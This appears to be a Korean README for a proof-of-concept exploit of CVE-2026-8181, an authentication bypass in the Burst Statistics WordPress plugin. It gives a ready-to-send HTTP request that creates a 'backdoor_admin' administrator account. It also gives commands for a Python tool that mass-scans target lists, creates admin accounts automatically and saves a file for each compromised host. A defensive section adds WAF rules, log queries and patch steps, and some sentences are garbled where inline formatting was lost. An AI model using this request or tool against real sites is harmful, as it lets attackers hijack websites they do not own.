
CVE-2026-8181을 위한 Python PoC로, Burst Statistics WordPress 플러그인의 심각한 인증 우회 취약점입니다. 악용 자동화, 대량 스캔, 승인된 보안 테스트를 위한 관리자 계정 생성을 포함합니다.
[!CAUTION] 중요 경보: 이 취약점을 통해 인증되지 않은 원격 공격자는 사용자 정의 HTTP 헤더를 주입하는 것만으로 대상 WordPress 사이트의 인증을 우회하고 완전한 관리자 권한을 획득할 수 있습니다. 이 CVE는 현재 실제 환경에서 적극적으로 악용되고 있습니다.
CVE-2026-8181은 Burst Statistics WordPress 플러그인(버전 3.4.0 ~ 3.4.1.1)에 영향을 미치는 치명적인 인증 우회 취약점입니다. 이 결함은 플러그인의 MainWP 프록시 통합 기능에 있습니다. plugins_loaded 훅 초기 단계에서 애플리케이션 비밀번호에 대한 부적절한 검증으로 인해, 플러그인은 유효한 자격 증명이 없더라도 X-BurstMainWP: 1 헤더를 포함한 REST API 요청에 관리자 컨텍스트를 잘못 부여합니다.
이는 단순한 인증되지 않은 HTTP 요청을 완전한 관리자 권한 탈취로 이어지게 하며, 모든 표준 WordPress 인증 메커니즘을 우회합니다.
단순한 헤더 하나가 어떻게 시스템의 핵심 권한을 부여하는지 이해하려면 플러그인 인증 핸들러 내부의 PHP 로직을 분석해야 합니다.
이 취약점은 includes/Frontend/class-mainwp-proxy.php 파일 내 is_mainwp_authenticated() 메서드의 조건 분기 처리 오류에서 비롯됩니다.
plugins_loaded 훅에 init()을 우선순위 9로 등록합니다. 이는 WordPress 생애주기 상 너무 이른 시점입니다.X-BurstMainWP: 1 헤더가 포함되면 has_admin_access()가 is_mainwp_authenticated()로 인증을 위임합니다.Authorization 헤더를 읽고 자격 증명을 WordPress 코어의 wp_authenticate_application_password()로 전달합니다.application_password_is_api_request 필터를 true로 설정하지 않았기 때문에(조기 훅 실행으로 인해), 코어 함수는 WP_Error 객체 대신 **null**을 반환합니다.is_wp_error( $user )만 확인합니다. 은 가 검사를 통과합니다.// Burst Statistics <= 3.4.1.1의 취약한 코드를 단순화한 표현
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // 명시적인 인증 실패는 올바르게 처리
}
// 🚨 치명적 결함 🚨
// 애플리케이션 비밀번호가 제공되지 않았거나 API 요청 플래그가 아직 설정되지 않은 경우,
// wp_authenticate_application_password는 NULL을 반환합니다.
// 코드가 NULL을 확인하지 않습니다!
if ( $user === null ) {
// 안전하게 실패 처리하는 대신, 다음 안전하지 않은 분기로 빠져듭니다:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // 폭발! 관리자 컨텍스트 부여됨!
return true;
}
이 섹션은 레드 팀 및 공인된 침투 테스터를 위한 내용입니다.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users를 통해 이를 노출합니다. 차단된 경우, 작성자 아카이브 트릭 (/?author=1)을 사용하세요.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null 검사에 걸려 요청을 관리자 컨텍스트로 승격시킵니다. 새 관리자 사용자가 생성됩니다.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] 환경적 주의사항: 이 익스플로잇이 성공하려면
Authorization헤더가 PHP까지 도달해야 합니다.
- Nginx / LiteSpeed / Apache (예쁜 permalink 사용 시): 헤더가 전달됩니다. 익스플로잇 성공.
- Apache (기본 permalink 사용 시): 웹 서버가 헤더를 자동으로 제거합니다. 익스플로잇 실패.
이 섹션은 블루 팀, SOC 분석가 및 시스템 관리자를 위한 내용입니다.
에지에서 특정 헤더를 차단하거나 모니터링합니다.
ModSecurity / OWASP CRS 규칙:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF 사용자 지정 규칙:
(http.request.headers["X-BurstMainWP"] eq "1")
웹 서버 로그에서 헤더 존재 여부와 REST API 사용자 생성 조합을 검색합니다.
Splunk / ELK 쿼리:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
침해가 의심되는 경우, 다음 침해 후 증거를 찾아보십시오:
wp_users 테이블에서 REST API를 통해 administrator 역할로 생성된 사용자를 확인합니다.wp-content/plugins/에서 허가되지 않은 업로드 (종종 정상 플러그인으로 위장한 웹쉘)가 있는지 확인합니다.wp-content/themes/ 또는 코어 파일에 대한 허가되지 않은 변경 사항을 확인합니다.[!IMPORTANT] 즉시 조치 필요: 취약한 버전을 실행 중인 경우, 아래 완화 조치 중 하나를 즉시 적용하십시오.
이 저장소에는 공인된 실험실 환경에서 취약점을 검증하기 위한 Python 자동화 도구인 CVE-2026-8181.py가 포함되어 있습니다.
# 1. 의존성 설치
pip3 install requests urllib3
# 2. 단일 사이트 정찰 및 자동 관리자 생성
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. 성공 파일과 함께 대량 스캔
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. 개별 호스트 보고서와 함께 대량 스캔
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] 교육 및 공인된 테스트 목적으로만 사용하십시오.
이 저장소에 제공된 정보는 교육 목적, 보안 연구 및 공인된 침투 테스트를 위한 것입니다. 시스템 소유자의 명시적인 서면 허가 없이 시스템의 취약점을 악용하는 것은 불법이며 국제 사이버 법률을 위반합니다.
이 저장소의 작성자 및 기여자는 이 도구 또는 정보의 사용으로 인한 오용, 손해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다. 항상 책임감 있고 윤리적으로 해킹하십시오.
nullWP_Errorwp_set_current_user()를 호출하여 즉시 요청을 완전한 관리자 컨텍스트로 승격시킵니다.| 우선순위 | 조치 | 세부 사항 |
|---|
| P0 | 플러그인 패치 | WordPress 대시보드를 통해 Burst Statistics를 버전 3.4.2 이상으로 즉시 업데이트하십시오. |
| P1 | WAF 가상 패치 | 즉시 패치할 수 없는 경우, 위 WAF 규칙을 배포하여 X-BurstMainWP 헤더를 차단하십시오. |
| P2 | 사용자 열거 제한 | 보안 플러그인 또는 .htaccess 규칙을 사용하여 /wp-json/wp/v2/users 및 /?author=*에 대한 공개 접근을 차단하십시오. |
| P3 | 사용자 및 파일 감사 | 스크립트를 실행하여 최근에 생성된 관리자 계정을 감사하고 허가되지 않은 접근을 철회하십시오. 웹쉘을 검사하십시오. |
| 기능 | 설명 |
|---|
| 🎯 단일 대상 | -u 플래그를 사용하여 특정 사이트를 스캔합니다. |
| 📦 대량 작업 | -f targets.txt를 통해 대상 목록을 입력합니다 (#으로 주석 지원). |
| ⚡ 동시성 | 스레드 워커를 사용하여 대량 스캔 속도를 높입니다 (-j N). |
| 💾 스마트 출력 | -o file.txt로 통합 보고서를 생성합니다. 대량 모드에서는 성공한 익스플로잇만 기록됩니다. |
| 📂 호스트별 덤프 | --output-dir을 사용하여 각 손상된 호스트에 대한 개별 .txt 파일을 저장합니다. |
| 👤 관리자 생성 | --create-user를 전달하여 REST API를 통해 새 관리자 계정을 자동으로 생성합니다. |
| 🔓 실험실 TLS | -k를 사용하여 SSL 인증서 오류를 무시합니다 (로컬/신뢰할 수 있는 실험실 환경에서만 엄격히 사용). |